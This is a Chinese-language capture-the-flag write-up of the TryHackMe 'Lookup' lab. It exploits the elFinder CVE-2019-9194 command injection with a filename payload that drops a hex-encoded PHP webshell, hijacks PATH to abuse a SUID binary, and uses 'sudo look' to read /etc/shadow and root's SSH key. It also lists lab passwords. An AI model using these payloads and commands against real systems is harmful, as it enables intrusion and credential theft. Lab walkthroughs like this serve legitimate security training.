THM靶场-Lookup-通关WriteUp
字数 1395 2025-08-22 12:22:42

THM靶场-Lookup通关教学文档

1. 靶场概述

Lookup是TryHackMe上的一个免费靶场,难度为简单级别。该靶场展示了多种现实世界中的漏洞,包括:

  • Web应用漏洞
  • 权限提升技术
  • 自动化任务在渗透测试中的应用

学习目标

  • 掌握侦察、扫描和枚举技术
  • 学习利用Web应用漏洞(如命令注入)
  • 理解安全编码实践的重要性
  • 学习渗透测试中的脚本自动化

2. 信息收集

2.1 端口扫描

使用以下工具扫描目标机器开放端口:

fscan扫描结果

开放端口:80(http), 22(ssh)

nmap扫描结果

80/tcp   open  http
22/tcp   open  ssh

2.2 DNS配置

由于靶机通过OpenVPN连接到THM内网,需要手动修改hosts文件:

10.10.60.84 lookup.thm

3. Web应用枚举

3.1 目录扫描

使用dirsearch和ffuf工具扫描网站目录:

扫描结果

  • 主登录页面
  • 表单处理页面

3.2 用户枚举

测试发现:

  • 使用不存在的用户名时,3秒后重定向
  • 使用存在的用户名(如admin)时,响应不同

爆破发现的有效用户

  • admin
  • jose

成功爆破的密码password123(用于jose账号)

4. 漏洞利用

4.1 访问文件管理系统

登录后重定向到files.lookup.thm,需更新hosts:

10.10.60.84 lookup.thm files.lookup.thm

系统信息

  • elFinder文件管理系统
  • 版本:2.1.47

4.2 文件上传尝试

尝试方法:

  1. 直接上传木马文件
  2. 创建文本文件后改为.php扩展名

结果:被WAF拦截

4.3 利用CVE-2019-9194

漏洞描述
elFinder <= 2.1.47存在命令注入漏洞,位于PHP连接器中。

利用步骤

  1. 上传恶意图片
payload = "test.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > hack.php;echo test.jpg"
  1. 触发漏洞
    通过图片旋转功能触发命令执行

  2. 生成后门
    执行命令将hex编码转换为PHP文件:

echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > hack.php
  1. 获取webshell
    访问/php/hack.php?c=[command]执行任意命令

5. 权限提升

5.1 从www-data到普通用户

发现SUID文件

find / -user root -perm -4000 -print 2>/dev/null

可疑文件

  • pwm命令

逆向分析发现

  1. 执行id命令获取用户ID
  2. 拼接路径访问.passwords文件

利用方法

  1. 创建恶意id脚本:
echo 'echo "uid=1000(think)"' > /tmp/id
chmod +x /tmp/id
  1. 修改PATH环境变量:
export PATH=/tmp:$PATH
  1. 执行pwm命令获取密码文件

获取的SSH密码
josemario.AKA(think)

5.2 从普通用户到root

sudo权限检查

sudo -l

发现可以以高权限执行look命令

look命令利用

  • 查询空字符串可读取整个文件

读取敏感文件

  1. 读取密码文件:
sudo look "" /etc/shadow
  1. 读取root私钥:
sudo look "" /root/.ssh/id_rsa

SSH连接root

ssh -i ./id_rsa root@ip_address

6. 获取flag

  1. 普通用户flag
    位于think用户目录下

  2. root用户flag
    位于/root/root.txt

7. 总结与经验

  1. Web应用漏洞

    • 用户枚举通过响应差异实现
    • 已知漏洞利用是快速突破的关键
  2. 权限提升技巧

    • 环境变量劫持是常见提权方法
    • 非传统命令(如look)也可能存在利用点
  3. 学习要点

    • 完整渗透测试流程实践
    • 从信息收集到权限提升的全链条攻击
    • 思考非常规利用方式的重要性

8. 参考资源

  1. CVE-2019-9194分析:
    https://xz.aliyun.com/t/4444

  2. elFinder官方:
    https://studio-42.github.io/elFinder/

  3. 漏洞利用脚本:
    文中提供的Python利用脚本

THM靶场-Lookup通关教学文档 1. 靶场概述 Lookup是TryHackMe上的一个免费靶场,难度为简单级别。该靶场展示了多种现实世界中的漏洞,包括: Web应用漏洞 权限提升技术 自动化任务在渗透测试中的应用 学习目标 掌握侦察、扫描和枚举技术 学习利用Web应用漏洞(如命令注入) 理解安全编码实践的重要性 学习渗透测试中的脚本自动化 2. 信息收集 2.1 端口扫描 使用以下工具扫描目标机器开放端口: fscan扫描结果 : nmap扫描结果 : 2.2 DNS配置 由于靶机通过OpenVPN连接到THM内网,需要手动修改hosts文件: 3. Web应用枚举 3.1 目录扫描 使用dirsearch和ffuf工具扫描网站目录: 扫描结果 : 主登录页面 表单处理页面 3.2 用户枚举 测试发现: 使用不存在的用户名时,3秒后重定向 使用存在的用户名(如admin)时,响应不同 爆破发现的有效用户 : admin jose 成功爆破的密码 : password123 (用于jose账号) 4. 漏洞利用 4.1 访问文件管理系统 登录后重定向到 files.lookup.thm ,需更新hosts: 系统信息 : elFinder文件管理系统 版本:2.1.47 4.2 文件上传尝试 尝试方法: 直接上传木马文件 创建文本文件后改为.php扩展名 结果:被WAF拦截 4.3 利用CVE-2019-9194 漏洞描述 : elFinder <= 2.1.47存在命令注入漏洞,位于PHP连接器中。 利用步骤 : 上传恶意图片 : 触发漏洞 : 通过图片旋转功能触发命令执行 生成后门 : 执行命令将hex编码转换为PHP文件: 获取webshell : 访问 /php/hack.php?c=[command] 执行任意命令 5. 权限提升 5.1 从www-data到普通用户 发现SUID文件 : 可疑文件 : pwm命令 逆向分析发现 : 执行 id 命令获取用户ID 拼接路径访问 .passwords 文件 利用方法 : 创建恶意 id 脚本: 修改PATH环境变量: 执行pwm命令获取密码文件 获取的SSH密码 : josemario.AKA(think) 5.2 从普通用户到root sudo权限检查 : 发现可以以高权限执行 look 命令 look命令利用 : 查询空字符串可读取整个文件 读取敏感文件 : 读取密码文件: 读取root私钥: SSH连接root : 6. 获取flag 普通用户flag : 位于think用户目录下 root用户flag : 位于 /root/root.txt 7. 总结与经验 Web应用漏洞 : 用户枚举通过响应差异实现 已知漏洞利用是快速突破的关键 权限提升技巧 : 环境变量劫持是常见提权方法 非传统命令(如look)也可能存在利用点 学习要点 : 完整渗透测试流程实践 从信息收集到权限提升的全链条攻击 思考非常规利用方式的重要性 8. 参考资源 CVE-2019-9194分析: https://xz.aliyun.com/t/4444 elFinder官方: https://studio-42.github.io/elFinder/ 漏洞利用脚本: 文中提供的Python利用脚本